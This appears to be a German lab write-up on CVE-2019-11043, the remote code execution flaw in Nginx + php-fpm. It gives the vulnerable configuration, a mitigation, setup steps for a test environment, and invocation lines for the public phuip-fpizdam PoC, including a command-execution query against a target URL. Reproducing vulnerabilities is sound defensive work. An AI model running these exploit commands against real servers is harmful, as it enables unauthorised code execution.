
CVE-2019-11043 PHP Remote-Codeausführung
Am 26. September veröffentlichte PHP eine Sicherheitswarnung, in der darauf hingewiesen wurde, dass Server mit Nginx + php-fpm unter bestimmten Konfigurationen eine Schwachstelle zur Remote-Code-Ausführung aufweisen. Diese Konfiguration ist weit verbreitet und stellt eine erhebliche Gefahr dar.
Der Proof-of-Concept (PoC) für die Schwachstelle wurde am 22. Oktober veröffentlicht, und die heimischen Sicherheitsmedien gaben rechtzeitig eine Warnung heraus.
Wenn fastcgi_split_path_info in Nginx Anfragen mit %0a verarbeitet, führt das Zeilenumbruchzeichen \n dazu, dass PATH_INFO leer wird. In php-fpm gibt es einen logischen Fehler bei der Verarbeitung eines leeren PATH_INFO. Durch geschickte Konstruktion und Ausnutzung kann ein Angreifer Remote-Code-Ausführung erreichen.
Bei Servern mit Nginx + php-fpm kann die folgende Konfiguration zu einer Remote-Code-Ausführung-Schwachstelle führen:
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
Entfernen Sie die folgenden Konfigurationen aus der Nginx-Konfigurationsdatei, sofern dies den normalen Betrieb nicht beeinträchtigt:
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
github: https://github.com/neex/phuip-fpizdam
Dieser PoC nutzt eine Optimierung in der FastCGI-Variable _fcgi_data_seg, die nur in PHP7 vorhanden ist. Daher funktioniert der veröffentlichte Exploit nur unter PHP7. Für PHP5 ist ein separater Exploit erforderlich.
Konfigurieren Sie die Umgebung, richten Sie nginx + php-fpm ein und bestätigen Sie, dass der Dienst funktioniert.
Laden Sie php7 herunter, entpacken Sie es und wechseln Sie in das Verzeichnis:
wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
tar -xzvf php-7.2.4.tar.gz
Installieren Sie die erforderlichen Abhängigkeiten wie Komprimierung und SSL:
yum install -y libxml2*
yum install -y openssl*
yum install -y libcurl*
yum install -y libjpeg*
yum install -y libpng*
yum install -y freetype*
yum install -y libmcrypt*
Konfigurieren und kompilieren Sie den Quellcode:
./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
make & make install
Konfigurieren Sie php-fpm. Wenn mehrere PHP-Instanzen konfiguriert werden, kann der Port von 9000 auf 9001 geändert werden.
Änderung der php-fpm-Konfigurationsdatei:
$ cd /usr/local/php/etc
$ cp php-fpm.conf.default php-fpm.conf
$ vi php-fpm.conf
Entfernen Sie das Semikolon vor pid = run/php-fpm.pid
$ cd php-fpm.d
$ cp www.conf.default www.conf (Port ändern)
$ vi www.conf
Ändern Sie Benutzer und Gruppe auf einen Nicht-Root-Benutzer.
Fügen Sie in nginx.conf die folgende Konfiguration hinzu:
location ~ [^/]\.php(/|$) {
root /opt/apache/www;
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass 127.0.0.1:9001;
include fastcgi_params;
}
Starten Sie nginx neu.
Installieren Sie Go und kompilieren Sie den PoC-Code:
go get github.com/neex/phuip-fpizdam(Die Datei wird im Go-Verzeichnis src heruntergeladen)
go build github.com/neex/phuip-fpizdam(vollständiger Pfad, erzeugt die ausführbare Datei im aktuellen Verzeichnis)
Führen Sie den PoC aus:
./phuip-fpizdam http://website.com/index.php
./phuip-fpizdam http://website.com/index.php?a=command
[Leider war die Konfiguration der Umgebung aus unbekannten Gründen fehlerhaft, die Verifikation schlug fehl.]
2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong
Original-Link: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
Laden Sie die Docker-Projektdateien herunter.
Führen Sie docker-compose up -d aus, um den Docker-Container zu starten.

Führen Sie das Programm aus. Die erfolgreiche Ausführung wird angezeigt. Nutzen Sie die Schwachstelle, um den Befehl "id" auszugeben.


Stoppen Sie den Docker-Dienst.
docker ps
docker stop id
./php-fpm